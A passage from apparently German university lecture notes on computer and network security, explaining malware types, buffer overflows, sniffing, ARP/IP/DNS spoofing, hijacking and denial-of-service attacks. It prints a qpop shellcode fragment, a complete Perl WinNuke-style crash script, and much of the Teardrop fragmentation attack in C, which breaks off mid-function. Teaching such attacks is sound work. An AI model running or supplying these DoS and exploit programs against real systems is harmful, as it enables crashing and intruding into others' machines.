  • Trojanische Pferde sind Programme, die einerseits die gewünschte bzw. 'offizielle' Funktion ausführen, aber gleichzeitig vom Manipulateur beabsichtigte Nebenwirkung ausführen.

  • Würmer oder Wurmsegmente sind Programme, die sich selbständig über ein Netz verbreiten und auf anderen Rechnern vervielfältigen können.

  • Viren sind Programme, die sich in andere Programme hineinkopieren (reproduzieren) und zeit- oder ereignisgesteuert Schäden hervorrufen.

  • Logische Bomben sind zusätzliche Programmfunktionen, die vom Programmierer eingebaut werden. Sie treten erst zu einem bestimmten Ereignis zu Tage, z. B. werden alle Daten zwei Jahre nach Entlassung des Programmierers gelöscht.

  • Trap doors sind Programmfunktionen, die einen nicht autorisierten Zugang zum System ermöglichen. Das muß nicht in böser Absicht geschehen, auch Programmteile, die zur Fehlersuche dienten und dann in der Verkaufsversion nicht entfernt wurden, oder Wartungsaccounts können zu trap doors werden.

  • In Netzen gibt es dann noch Formen der Tarnung (z. B. Spoofing), bei der ein Rechner vorspiegelt, ein anderer zu sein. In vielen Betriebssystemen gibt es den Begriff des 'trusted host'. Vereinfacht gesagt sind dies Rechner, denen gegenüber der eigene Rechner 'offen' ist. Tarnt sich ein fremder Rechner als vertrauenswürdiger Host, wird das Eindringen erleichtert.
Auf einige der obengenannten Typen wird im Kapitel 7 noch näher eingegangen.

Neben diesen "von außen" kommenden Gefahren gibt es auch noch Probleme, die durch das Betriebssystem selbst oder durch seine Administration hervorgerufen werden. Dazu einige Beispiele:

  • Dienste werden ohne weitere Überprüfung als vertrauensvoll anerkannt. (R-Kommandos bei UNIX-Systemen, Excel- und Word-Applikationen im MS-Explorer, uvm.)

  • Netzdienste besitzen oft Lücken, die "historisch" bedingt sind. So waren früher Netzwerkverbindungen sehr störanfällig. Aus diesem Grund "vertrauen" Serverrechner anderen Servern um bei Ausfall deren Dienste zu übernehmen. Die Gefahr liegt darin, daß ein Server auch einem Hackerrechner vertraut und ihm seine Dienste zur Verfügung stellt. Dazu zwei Beispiele:
    (Unix-)Mailserver enthalten heute noch Funktionen um bei Ausfall eines anderen Mailservers dessen Funktion übernehmen zu können. Das bedeutet: Man kann einem Mailserver, von einem beliebigen Rechner aus, Post zur Zustellung übergeben (Relay-Funktion). Im Adresskopf steht als Absender immer der Mailserver der die Post abgesendet hat. Mögliche Attacke auf den Server: Ein Bösewicht übergibt dem Server eine Mail mit zigtausenden Adressaten zur Weiterversendung (Massen-Werbemails). Im Kopf der Mail steht als Absender der "unschuldige" Mailserver, dessen Adminstrator den "Ärger" bekommt.
    Auch DNS-Server (Die Übersetzungsrechner, die Namen wie www.xyz.de in IP-Nummern verwandeln.) stufen alle anderen DNS-Server als vertrauenswürdig ein. Damit ist "DNS-Spoofing" möglich (siehe später).

  • Fehler und Sicherheitslücken im Betriebssystem und den Serverprogrammen. Ein typischer Betriebssystemfehler, der ein Eindringen ermöglicht, ist der Buffer-Overflow. Dabei passiert folgendes:

    • Ein Server-Programm legt seine Daten vor der Verarbeitung in einem Puffer-Speicher ab.
    • Ein Überlauf des Speichers wird aber nicht getestet und verhindert.
    • Das Programm des Angreifers überflutet gezielt der Puffer und überschreibt damit die angrenzenden Speicherdaten.

    • Das Server-Programm stürzt ab und hinterläßt das aufrufende Programm, das meist mit Administrator-Berechtigung läuft.
    • Am Ende der gesendeten Daten wird der Aufruf einer Shell übertagen (z.B.: /bin/sh). Beispiel aus dem Programm qpop (Hack für POP3-Server):
      char shellcode[] =
          "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
          "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
          "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
          "\xff\xff/bin/bash.........";
      
    • Damit hat der Hacker Zugriff auf alle Funktionen des Betriebssystems.

    Einen weiteren Fall hat die Firma eEye in Microsofts Internet Information Server (IIS) entdeckt. Es handelt sich um eine Sicherheitslücke die es Angreifern erlaubt, beliebigen Code auf der betroffenen Maschine auszuführen. Das eEye-Sicherheitsteam behauptet, daß 90 Prozent aller IIS-Installationen im Internet verwundbar seien. Das Problem tritt beim Umgang mit speziellen Dateien auf (.HTR, .STM und .IDC). Angreifer können durch spezielle Anfragen einen internen Puffer zum _berlaufen bringen und damit eigenen Code ausführen lassen. Es gibt im Internet bereits mehrere Programme, mit denen sich dieser Fehler ausnutzen läßt. Mit dem Programm isshack.exe das es am eEye Server zum Download gibt, kann man die CMD-Shell auf einen beliebigen Port umleiten. Mittels Telnet kann man dann ins System einbrechen. Allerdings kann aufgrund der zahlreichen grafischen Administrationstools nicht so viel Schaden angerichtet werden wie auf Unix-Systemen. Microsoft hat die Existenz des Bugs bestätigt und stellt einen Patch bereit.

  • Lokale Services können ohne besondere Maßnahmen illegal genutzt werden. (z. B. Dateifreigaben unter Windows, WWW-Verzeichnisansicht, DHCP im routerlosen Netz)

  • Probleme mit Standarddiensten und Standard-Einstellungen
    • Bei der Installation von Betriebssystemen werden oft Standarddienste aktiviert. (z.B.: FTP-Server oder Apache-Webserver bei Linux)
    • Oft werden installierte Dienste "vergessen" ("Ich installiere das Programm mal und probiere es bei Gelegenheit aus".)
    • Viele der sogenannten "netzwerkfähigen" Software-Produkte sind nur für kleine, lokale Netze ausgelegt und nicht für große Netze mit potentiellen Hackern. (Nicht selten wird Schreibrecht für alle Benutzer auf ein bestimmtes Verzeichnis verlangt.)
    • Viele Systeme besitzen Standardzugänge mit Standard-Passwörtern. (Wartungs-Accounts, Gast-Accounts, Demo-User)
    • Bei vielen Serverprogrammen ist nach der Installation keine Sicherheitseinstellung aktiv: Alles ist erlaubt ("Offene Scheunentore").

2.7 Angriffe über das Netz

TCP/IP wurde vor etwa 20 Jahren entwickelt. Es ist ein ungesichertes Netzwerkprotokoll und wurde ursprünglich zu akademischen Zwecken entworfen. Sicherheitsfragen waren kaum Bestandteil der Entwurfskriterien. Fehlertoleranzeigenschaften kollidieren mit Sicherheitsanforderungen.
Heute haben wir das Internet als weltweiter Rechnerverbund mit Millionen von Benutzern. Häufig sind alle Rechner einer Organisation an das Netz angeschlossen, auch die mit sensiblen Daten. Aus dem Netz gewonnene Informationen sind Grundlage für Unternehmensentscheidungen und Firmen pflegen Gesch?sbeziehungen via Internet.
Für Benutzer und Administratoren von Netzwerken oder Einzelrechnern mit Internetzugang wird es immer wichtiger, sich mit der Sicherheit ihrer Rechner zu befassen. Die hier beschriebenen Sicherheitslücken und Angriffsmethoden bilden die Grundlage der meisten Attacken in heutigen TCP/IP-Netzwerken. Oft werden bei Angriffen mehrere der beschriebenen Methoden kombiniert.

Typische Angriffe nach Statistiken des CERT

JahrAngriffe
1988
  • Passwörter
  • bekannte Sicherheitslücken
1993
  • Protokollschwächen (rexd, tftpd)
  • Analyse von Quelldateien
  • ICMP-Angriffe
  • AnonFTP-Mißbrauch
1994
  • Internet-Sniffer
  • sendmail-Angriffe
  • Trojaner für Systemprogramme
  • groß angelegte Scans (z.B. Portnummern)
  • NFS-Angriffe
1995
  • IP-Spoofing für r-Kommandos
  • Angriffe auf WWW-Server (httpd)
1996
  • Denial-Of-Service-Angriffe (ECHO)
  • Lücken in Java und in Webbrowsers
  • DNS-Manipulationen
  • Analyse von SUID-Programmen
danach
  • TCP-Hijacking
  • Denial-Of-Service als Waffe
  • Internet-Commerce-Angriffe

Überblick über die Schichten der TCP/IP-Netzwerkprotokolle:

Application Layer
Schichten 5 - 7

WWW, E-Mail, etc.

Transport Layer
Schicht 4

TCP, UDP

Network Layer
Schicht 3

IP

Data Link Layer
Schichten 1 - 2

LLC, Hardwareinterface


Diese Schichten entsprechen in etwa dem OSI-Schichtenmodell, wobei hier allerdings immer mehrere Schichten des OSI-Modells zu einer Schicht zusammengefaßt wurden. Im Folgenden sollen nun die Sicherheitslücken in den einzelnen Schichten des Protokolls genauer betrachtet und die darauf basierenden Angriffsstrategien untersucht werden.

Security im Data Link und Network Layer

Sniffing

Wie schon weiter oben gezeigt, lassen sich Daten abhören. Im lokalen Netz gelangen die Datenpakete an alle Rechner. Normalerweise werden Daten, die nicht an einen bestimmmten Rechner adressiert sind, von diesem verworfen. Genau an dieser Stelle setzen die Sniffing-Attacken an. Statt die fremden Daten zu verwerfen, kann man diese Daten speichern und eventuell weiter verwenden. So ist es z.B. möglich durch einen entsprechenden Filter eine komplette Verbindung zu protokollieren. Auf diese Weise kann ein Angreifer auch an Passwörter gelangen, wenn diese unverschlüsselt über das Netzwerk übertragen werden.
Das gilt natürlich auch für IP-Verbindungen. Bei vielen Betriebssystemen gehören entsprechende Programme zum Lieferumfang, da sie für den Test und die Fehlersuche in Netzen notwendig sind (z. B. tcpdump). Da auch die Paßworte beim Telnet- oder FTP-Login im Klartext weitergegeben werden, besteht die Möglichkeit, daß jemand an diese Information kommt.
Zum "Erschnuppern" der Daten dienen Programme, die man "Sniffer" nennt. Eigenschaften:
  • Abhören des Netzwerkverkehrs.
  • Einsatz des "Promiscous-Mode" der Netzwerkkarten um alle Pakete zu empfangen.
  • Meist Filterung bestimmter Adressen und Ports möglich.
  • Speicherung der abgehörten Daten auf Platte oder Weiterverarbeitung mit externen Filtern und Programmen möglich.
Sie dienen den "bad guys" zum
  • Abhören aller unchiffrierten Verbindungen.
  • Ausspähen von Passwörtern.
  • Mitlesen der Post an einen bestimmten Rechner
Bekannte Vertreter sind "SniffIt", "Etherload", "Netman", "LinkView" oder "LANWatch". Es folgen nun Beispiele für den Einsatz von Sniffern:

Abhören von Passwörtern
Im Beispiel loggt sich ein Benutzer mit dem Namen testuser und dem Paßwort geheim ein.

$ ./sniffit -p 23 -A . -t lx1-lbs 

........... ..!.."..'.....#..%....P......$.. .9600,9600....#.lx2-lbs:0.0....'..
PRINTER.lp.DISPLAY.lx2-lbs:0.0......XTERM........testuser..geheim..
Auch in diesem Fall verschafft Verschlüsselung Abhilfe. Die gleiche Session, aber mit Einsatz der Secure Shell:
SSH-1.5-1.2.26.....................K2...i....i#..B......;....?.H..v.{v5K.^....{
.t5.4.I..]....6VH..uN.p..E.u.....j.U&.\..N~...%kI.,....q..s..V.....(m...2.u...!
rL/......R.d......'.....1"#.$[. ..6.W.........g.v.j..e%.1..2..v.....#.....*..r.
......0xM....1..q..O.....pS@.._=.......$...ZJ...N&x..[..........L.........k...v
4.......v...}...fXI...Np7.....=$...%.s...iW".....$ID..g..i.

Mitlesen der Mail
Im folgenden Beispiel wird der komplette Mailverkehr eines Rechners (Port 25) namens lx1-lbs abgehört. Das ist von jedem beliebigen Rechner möglich, an dem der Datenstrom vorbeiläuft.

$ ./sniffit -p25 -t lx1-lbs

EHLO lx2-lbs.e-technik.fh-muenchen.de
MAIL From:<holzmann@lx3-lbs.e-technik.fh-muenchen.de> SIZE=299
RCPT To:<testuser@lx1-lbs.e-technik.fh-muenchen.de>
DATA
Received: from localhost (localhost [[UNIX: localhost]])
	by lx2-lbs.e-technik.fh-muenchen.de (8.9.3/8.9.3) id OAA01804
	for testuser@lx1-lbs.e-technik.fh-muenchen.de; Fri, 8 Oct 1999 14:11:12 +0200
From: Joerg Holzmann <holzmann@e-technik.fh-muenchen.de>
To: testuser@lx1-lbs.e-technik.fh-muenchen.de
Subject: Testmail
Date: Fri, 8 Oct 1999 14:07:04 +0200
X-Mailer: KMail [version 1.0.21]
Content-Type: text/plain
MIME-Version: 1.0
Message-Id: <99100814111100.01802@lx2-lbs>
Content-Transfer-Encoding: 8bit

Hallo lieber Testuser,

Vielen Dank fuer Ihren Beitrag zu unserem Sicherheitsforum. 
Wir werden Ihren Artikel in der neuen Ausgabe der FHM-Hackerpost
veroeffentlichen.
Abhilfe schaffen hier beispielsweise kryptographische Verfahren und Methoden.

ARP-Spoofing

Das ARP-Spoofing setzt auf dem ARP-Protokoll (ARP=Address-Resolution-Protocoll) auf und nutzt dabei aus, daß beim dynamischen Routing die Umsetzungstabellen von IP-Adressen auf die entsprechenden Hardwareadressen in bestimmten Abständen aktualisiert werden. Dynamische ARP Routen werden regelmäßig (nach einem bestimmten Zeitintervall) verworfen und der Rechner fordert von seinem Kommunikationspartner eine Bestätigung seiner IP- und Hardwareadresse an. An genau dieser Stelle setzt nun ein Angreifer an. In der Regel wird nun der Rechner, dessen Platz der Angreifer einnehmen will ausgeschaltet (dies kann z. B. durch einen der später beschriebenen "Denial-of-Service" Angriff geschehen), so daß er keine Anfragen mehr beantworten kann. Anschließend wird auf einen ARP request des "Opfers" gewartet. Da der eigentlich angesprochene Rechner keine Antwort senden kann, ist es dem Angreifer nun möglich einen gefälschten ARP reply an das "Opfer" zu schicken. Dieser trägt die falsche Adresse in seine ARP-Queue ein und verschickt alle folgenden Nachrichten statt an den eigentlichen Zielrechner an den Rechner des Angreifers.

Security im Transport- und Network-Layer

ICMP-Tunneling

Alle ICMP-Messages besitzen ein Datenfeld, dessen Bedeutung nicht festgelegt ist und das im Normalfall nicht benutzt wird. Damit bietet sich die Möglichkeit Informationen über ICMP-Messages zu verschicken, falls kein anderer Dienst dafür zur Verfügung steht. Es ist damit also möglich, Nachrichten aus einem Netzwerk, das z.B. hinter einem Firewall steht, "herauszuschmuggeln". Eine besondere Gefahr stellt das ICMP-Tunneling dar, weil ICMP oft als harmlos eingestuft wird und Firewalls die Pakete ungefiltert passieren lassen.

ICMP-Steuernachrichten lassen sich auch noch für andere Angriffe nutzen:

  • Funktionsfähigkeit des Netzwerks beeinträchtigen ("ping of death")
  • Vermittlungspfade verändern
  • "fragmentation needed": Aufforderung, Daten stärker zu fragmentieren, dadurch entstehen kleinere und vor allem mehr Pakete. Die Netzlast nimmt z.T. erheblich zu, und es kann zu Überlast kommen
  • "ICMP-redirect": Änderung von Vermittlungswegen von Rechnern im Netz, was zu Zusammenbrüchen im Netz führen kann

IP-Spoofing

Beim IP Spoofing wird die ungenügende Überprüfung des Kommunikationspartners unter TCP/IP ausgenutzt, um mit gefälschten IP-Adressen einem Rechner Informationen unterzuschieben. Oft werden diese Attacken benutzt, um falsche Routing-Informationen an ein System weiterzugeben. Aber auch bei einzelnen Verbindungen kann das Fälschen von IP-Adressen Anwendung finden, wie dies im nächsten Abschnitt beim Hijacking der Fall ist. Es sollen nun einige Möglichkeiten besprochen werden, die sich durch das IP Spoofing ergeben. Eine komplette Aufführung ist an dieser Stelle nicht möglich, da diese Gruppe von Security Attacks sehr umfangreich ist.

In einem LAN kommuniziert Arbeitsplatz A mit Arbeitsplatz B. Ein Angreifer (E) verwendet die Adresse von A und schleust Pakete ins LAN. Damit übernimmt er die Kommunikation E zu B. Das Problem sind die fehlende Authentizität von IP-Paketen und die Einschleusung zusätzlicher Pakete von außen durch die Fälschung von IP-Sendeadressen.

Route-Spoofing

Dabei werden falsche Routing-Informationen an Router weitergegeben, um eine Umleitung von Verbindungen auf den Agriffsrechner zu erreichen. Es existieren mehrere Ansatzmöglichkeiten, um eine solche Attacke durchzuführen. Im folgenden werden zwei dieser Möglichkeiten genauer beschrieben.
  • RIP-Route-Spoofing
    Das Routing Information Protocol (RIP) wird verwendet, um (dynamische) Routing-Informationen in lokalen Netzwerken zu verbreiten. Es bietet damit aber einem Angreifer die Möglichkeit falsche Routing-Information an einen Rechner (und alle Gateways auf der Route dorthin) zu versenden. Diese Informationen werden in der Regel ungeprüft übernommen. Damit ist es dem Angreifer möglich, einem Rechner falsche Routing-Informationen zu übergeben und so die Verbindungen auf den Rechner des Angreifers umzuleiten.
  • ICMP-Route-Spoofing
    Bei dieser Art des Angriffs wird ausgenutzt, über die Meldung ICMP redirect Routing-Informationen an den Absender eines IP-Pakets zu übermitteln. Ein Angreifer kann dies nutzen, das Routing auf seinem eigenen Rechner umzuleiten. Verwendet ein Rechner eine solche Nachricht als neue Routing-Information, so führt dies dazu, daß seine Informationen über den Rechner des Angreifers geroutet werden.

DNS Spoofing

Die im Internet übliche Umsetzung von Hostnamen in IP-Adressen über das Domain Name System (DNS) bietet eine weitere Möglichkeit falsche IP-Adressen an einen Rechner weiterzugeben. Damit ist beispielsweise folgende Attacke möglich:

Die falsche Nachricht, daß www.microsoft.com die Adresse 129.187.244.3 hat, wird vom Opfer-DNS ohne jegliche Prüfung übernommen. Es bieten sich weitere Möglichkeiten an:

  • Übernahme des DNS-Servers
    Eine Möglichkeit hierbei ist es, die Position eines existierenden Nameservers komplett zu übernehmen. Dabei finden in der Regel "Denial Of Service"-Angriffe Anwendung, um den richtigen Nameserver lahmzulegen. Der Angreifer übernimmt dann die Funktion dieses Rechners und liefert falsche Informationen.
  • Resolve Attacks
    In einigen Implementierungen ist es möglich, wenn ein Benutzer eine Verbindung zu einem System aufbaut, eine Domain Server Response an den entsprechenden Rechner zu senden. Dieser trägt sie in seine eigene Queue ein und benutzt so im folgenden die falsche IP-Adresse für seine Verbindung. Für diese Art des Angriffs sind allerdings Kenntnisse über den Port, den der Client für seinen Resolver Service benutzt, und die DNS-Sequenznummer (ISN) nötig. Diese sind aber oft leicht zu erhalten, z. B. über netstat.
Diese Art des Angriffs wird zum Beispiel verwendet, um Hompages zu "entführen". Dabei wird meist nur ein Eintrag im DNS "gefälscht", wodurch alle Benutzer, die den Hostnamen statt dessen IP-Adresse verwenden, auf einen falschen Server geführt werden.

Hijacking

Hijacking stellt eine Kombination der Sniffing- und Spoofing-Angriffe dar. Dabei werden bestehende Verbindungen zwischen zwei Rechnern "entführt", d. h. der Angreifer übernimmt die Stelle eines der Kommunikationspartner. Da bei einer solchen Übernahme keine Authentifizierung des Benutzers mehr durchgeführt wird, kann ein Angreifer großen Schaden anrichten.

TCP-Hijacking

Bei der Kommunikation vom Arbeitsplatz (A) mit dem Server (S) hört der Angreifer (E) mit, schaltet sich mit der Adresse von A ein und übernimmt die Sitzung von A. Das Problem ist die fehlende Authentizität und Integrität der IP-Pakete.
Beispiel: TELNET-Sitzung

Denial of Service-Attacks

Diese Gruppe von Angriffsstrategien dient dem Lahmlegen eines Rechners oder einzelner Funktionen ("Denial of Service": "Verweigerung des Dienstes"). Dabei wird in der Regel ausgenutzt, daß die Resourcen (Speicher, Rechenzeit, interne Tabellen, etc.) auf einem Rechner nur in begrenztem Maße vorhanden sind. Ein Denial-of-Service-Angriff versucht, auf dem angegriffenen Rechner eine der Resourcen zu überlasten, so daß dieser seinen regulären Aufgaben nicht mehr nachkommen und seine Clients nicht mehr bedienen kann. Denial-of-Service Attacks stellen eine wichtige Gruppe von Angriffen dar, da sie oft als Vorstufe zu einem wesentlich weiterreichenden Angriff dienen. Für Spoofing-basierten Angriffe kann es unter Umständen von Nutzen sein, wenn ein bestimmter Rechner im Netz ausgefallen ist. Eines haben fast alle Attacken gemein: Sie nutzen die Löcher von fehlerhaft implementierten TCP/IP-Software und schlecht administrierten Netzwerken aus.

  • E-Mail-Bomben

    Einer der ältesten Denial of Service-Attacks ist das inzwischen "klassische" Mail-Bombing. Hierzu wird ein Empfänger mit einer Vielzahl von gleichlautenden E-Mails regelrecht bombadiert, so daß das nächste Herunterladen der vorhandenen E-Mails zur Qual werden dürfte. Die Ausführung erzeugt aber noch ein anderes Opfer:
    Eine Mailbombe besteht normalerweise aus einer einzigen E-Mail, die an einen SMTP-Mailserver zur Ausführung geschickt wird. Diese E-Mail hat jedoch die Besonderheit, daß sie die E-Mail-Adresse des Opfers gleich mehrmals als BCC-Empfänger enthält. Der ausführende Mailserver hat bei entsprechend hoher Angabe von BCC-Empfängern ebenfalls entsprechend genug zu tun, diese E-Mails zu generieren und zu versenden.
    Eine sehr unangenehme Variante des Mail-Bombings ist die Anmeldung eines Opfers bei Unmengen von Mailinglisten. Das Opfer muß sich nämlich nach so einer Attacke mühsam aus allen angemeldeten Listen manuell wieder austragen.

  • Broadcast Storms
    Broadcast Storms gehören ebenfalls schon zur älteren Generation von Denial of Service-Attacks. An jeden Rechner wird hier ein Strom von IP-Paketen geschickt, die allesamt an nichtexistierende Ziele adressiert sind. Wird dieser Datenstrom für mehrere Rechner innerhalb dieses Netzwerkes aufrechterhalten, ist das gesamte Netzwerk recht bald lahmgelegt, da die Rechner die falsch adressierten Daten über die Gateways immer wieder in andere Subnetze verschieben.

  • Smurf-Attacken
    Smurf-Attacken gehören zur Gruppe der Broadcast Storms, arbeiten aber auf eine etwas andere Weise. Bei einem Smurf-Angriff sendet der Angreifer extrem viele ICMP-Pakete (z.B. Ping-Anfragen) an die Broadcast-Adresse eines Netzwerks, so daß dieses Paket an jeden Rechner innerhalb des Netzwerks weitergeleitet wird. Der Angreifer tarnt sich jedoch mit der Adresse des eigentlichen Opfers. Die ICMP-Anfragen werden nun um die Anzahl der Rechner im Netzwerk vervielfacht, denn jeder beantwortet die ICMP-Anfrage. Die multiplizierten ICMP-Antworten an das Opfer belegen die gesamte Netzkapazität und normale Datenkommunikation wird unterbunden. Sehr häufig brechen auch die Server unter diesem Ansturm zusammen und müssen von ihren Administratoren vorübergehend vom Netz genommen werden. Die Angreifer selbst sind nur sehr schwer zu identifizieren, da sie sich als das Opfer tarnen.

  • Out of Band-Packets ("Nukes")
    Nahezu schon legendäre Denial of Service-Attacks sind die sogenannten "Nukes". Hierzu werden spezielle IP-Pakete, die ein besonderes Merkmal haben, an einen Rechner geschickt. Entsprechend ungesicherte Betriebssysteme (ungepatchte Versionen von Windows und Linux) quittieren den Empfang solcher Pakete mit dem völligen Systemstillstand. Inzwischen existieren für (fast) alle betroffenen Betriebssysteme geeignete Patches, die diesen Fehler eliminieren. Wie einfach das "nuken" war, zeigt folgendes Perl-Programm:
    #!/usr/bin/perl -w
    use strict;
    use Socket;
    use Net::Ping;
    require 5.004;
    
    my $host = shift;
    my $paddr = sockaddr_in(139, inet_aton($host));
    print "Der Computer $host wird heruntergefahren...\n";
    socket(NUKE, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or
    print "Klappt nicht: $!\n", return;
    connect(NUKE, $paddr) or print "Klappt nicht: $!\n";
    send(NUKE, "Heil Eris! Ewig Heil Discordia!", MSG_OOB );
    close(NUKE);
    if ($>)
      {
      print <<"MSG_END";
    
      OOB-Angriff erfolgreich. Da das Programm nicht mir root-Rechten
      laeuft, bitte mit ping(8) testen, ob $host noch läuft.
      MSG_END
      }
    else
      {
      sleep 3;
      my $ping = new Net::Ping('icmp');
      if ($ping->ping($host))
        {
        warn "Hmm... $host scheint noch zu laufen.\n";
        }
      else
        {
        print "Ich konnte den Computer jetzt ausschalten.\n"
        }
      }
    
    Out of Band-Packets bestehen aus einem speziellen UDP-Paket, daß gewöhnlich an den Port 139 (NetBIOS-Port) gesendet wird, da dieser standardmässig bei vielen Computern geöffnet ist. Prinzipiell funktioniert es aber auch mit allen anderen Ports, die für Datenempfang standardmässig geöffnet sind. Die Wirkungsweise liegt nun darin, daß ein entsprechend ungesichertes Betriebssystem mit Out of Band-Informationen nichts anfangen kann und in einer "panikartigen" Reaktion im ungünstigsten Fall die aktuelle Sitzung mit einem Systemabsturz beendet.

  • TCP Syn Flooding ("Land Attacks")
    Hier wird das Drei-Wege-Handshaking von TCP benutzt, um "halboffene Verbindungen" herzustellen. Da TCP ein verbindungsorientiertes Übertragungsprotokoll ist, gibt es Mechanismen, um eine Verbindung zu synchronisieren. Dies wird über das erwähnte Drei-Wege-Handshaking von TCP erledigt.

    Dabei gibt es, wie der Name schon ahnen läßt, drei Schritte, die durchgeführt werden:

    1. Der Client sendet eine Synchronisationsnachricht (SYN) an den Server
    2. Der Server antwortet mit einem entsprechenden Acknoledgement (ACK/SYN)
    3. Darauf sendet der Client sein Acknoledgement (ACK) an den Server

    Mit diesen drei Schritten ist das Handshaking abgeschlossen. Nach Schritt 2 befindet sich auf dem Server ein Eintrag für die Verbindung, der bestehen bleiben muß, bis der Client seine Antwort gesendet hat. Eine Verbindung in diesem Stadium nennt man halboffen. Ein SYN-Attack nutzt nun die Tatsache aus, daß der Server dafür Speicher reservieren muß, bis er eine Antwort erhält. Wird diese Antwort allerdings nie gesendet, dann bleibt der Speicher dauerhaft belegt. Erzeugt ein Angreifer eine größere Menge dieser halboffenen Verbindungen, so ist abzusehen, daß der Server bald an seinem Speicherlimit angekommen ist. An dieser Stelle ist es dem Server nun nicht mehr möglich eine weitere TCP-Verbindung aufzubauen.
    Das interessante an der "Land"-Attacke war, daß auch Cisco-Router, die an sehr vielen zentralen Stellen des Netzes stehen, davon betroffen waren.

  • Large Packet-Attacks ("Ping of Death")
    Ein weiterer, besonders hinterhältiger Veteran der Denial of Service-Attacks sind die "Large Packet-Attacks", unter Insidern "Ping of Death" genannt (obwohl die Attacke nichts mit dem eigentlichen Ping-Programm zu tun hat). Die Wirkungsweise von Large Packet-Attacks ist einfach und fatal: Das IP-Protokoll verpackt alle Daten beim Absender in bis zu 64 KByte grosse Pakete. Diese werden jedoch protokollintern vor der Übertragung abhängig vom Übertragungsmedium in kleinere Päckchen zerlegt (Fragmentierung). Beim Empfängerrechner werden diese einzelnen Päckchen wieder zusammengefügt (reassemblieren), allerdings erst, wenn alle Einzelteile vorliegen. Ist das ankommende Paket am Ende grösser als 64 kB, läuft ein interner Speicherpuffer über und bringt im ungünstigsten Fall den Rechner zum Absturz. Natürlich kann man diesen Angriff nicht nur mit ICMP und Ping machen, sondern auch mit TCP und UDP. Der Phantasie sind keine Grenzen gesetzt.
    Wie erzeugt man nun diese übergroßen Ping-Pakete? Ein ordentlicher Ping Befehl sollte keine Pakete größer als 65507 Bytes zulassen. (65535 - 20 IP-Header - 8 ICMP-Header). Wo fand man am ehesten einen unordentlichen Ping-Befehl? Richtig, in den Betriebsystemen der Firma Microsoft (Windows 95/98).

  • Teardrop
    Teardrop ist dem Ping of Death nicht unähnlich, da es sich auch die Fragmentierung von IP-Paketen zu nutze machte. Diesmal wird allerdings nicht mittels Fragmentierung ein zu großes Paket erzeugt, sondern die Fragmente werden so erzeugt, daß sie "überlappen", was die TCP-Software aus dem Tritt bringt. Nachdem heute kaum noch ein Rechner auf Teardrop reagiert, kann auch ruhig mal das Programmlisting gezeigt werden:
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <netinet/udp.h>
    #include <arpa/inet.h>
    #include <sys/types.h>
    #include <sys/time.h>
    #include <sys/socket.h>
    
    #ifdef STRANGE_BSD_BYTE_ORDERING_THING
           /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
    #define FIX(n)  (n)
    #else  /* OpenBSD 2.1, all Linux */
    #define FIX(n)  htons(n)
    #endif /* STRANGE_BSD_BYTE_ORDERING_THING */
    
    #define IP_MF   0x2000  /* More IP fragment en route */
    #define IPH     0x14    /* IP header size */
    #define UDPH    0x8     /* UDP header size */
    #define PADDING 0x1c    /* datagram frame padding for first packet */
    #define MAGIC   0x3     /* Magic Fragment Constant (tm).  Should be 2 or 3 */
    #define COUNT   0x1     /* Linux dies with 1, NT is more stalwart and can
                             * withstand maybe 5 or 10 sometimes...  Experiment.
                             */
    void usage(u_char *);
    u_long name_resolve(u_char *);
    u_short in_cksum(u_short *, int);
    void send_frags(int, u_long, u_long, u_short, u_short);
    
    int main(int argc, char **argv)
    {
        int one = 1, count = 0, i, rip_sock;
        u_long  src_ip = 0, dst_ip = 0;
        u_short src_prt = 0, dst_prt = 0;
        struct in_addr addr;
    
        fprintf(stderr, "teardrop   route|daemon9\n\n");
    
        if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
        {
            perror("raw socket");
            exit(1);
        }
        if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
            < 0)
        {
            perror("IP_HDRINCL");
            exit(1);
        }
        if (argc < 3) usage(argv[0]);
        if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
        {
            fprintf(stderr, "What the hell kind of IP address is that?\n");
            exit(1);
        }
    
        while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
        {
            switch (i)
            {
                case 's':               /* source port (should be emphemeral) */
                    src_prt = (u_short)atoi(optarg);
                    break;
                case 't':               /* dest port (DNS, anyone?) */
                    dst_prt = (u_short)atoi(optarg);
                    break;
                case 'n':               /* number to send */
                    count   = atoi(optarg);
                    break;
                default :
                    usage(argv[0]);
                    break;              /* NOTREACHED */
            }
        }
        srandom((unsigned)(time((time_t)0)));
        if (!src_prt) src_prt = (random() % 0xffff);
        if (!dst_prt) dst_prt = (random() % 0xffff);
        if (!count)   count   = COUNT;
    
        fprintf(stderr, "Death on flaxen wings:\n");
        addr.s_addr = src_ip;
        fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
        addr.s_addr = dst_ip;
        fprintf(stderr, "  To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
        fprintf(stderr, " Amt: %5d\n", count);
        fprintf(stderr, "[ ");
    
        for (i = 0; i < count; i++)
        {
            send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
            fprintf(stderr, "b00m ");
            usleep(500);
        }
        fprintf(stderr, "]\n");
        return (0);
    }
    
    /*
     *  Send two IP fragments with pathological offsets.  We use an 
     *  implementation independent way of assembling network packets 
     *  that does not rely on any of the diverse O/S specific 
     *  nomenclature hinderances (well, linux vs. BSD).
     */
    
    void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
                    u_short dst_prt)
    {
        u_char *packet = NULL, *p_ptr = NULL;   /* packet pointers */
        u_char byte;                            /* a byte */
        struct sockaddr_in sin;                 /* socket protocol structure */
    
        sin.sin_family      = AF_INET;
        sin.sin_port        = src_prt;
        sin.sin_addr.s_addr = dst_ip;
    
        /*
         * Grab some memory for our packet, align p_ptr to point at the beginning
         * of our packet, and then fill it with zeros.
         */
        packet = (u_char *)malloc(IPH + UDPH + PADDING);
        p_ptr  = packet;
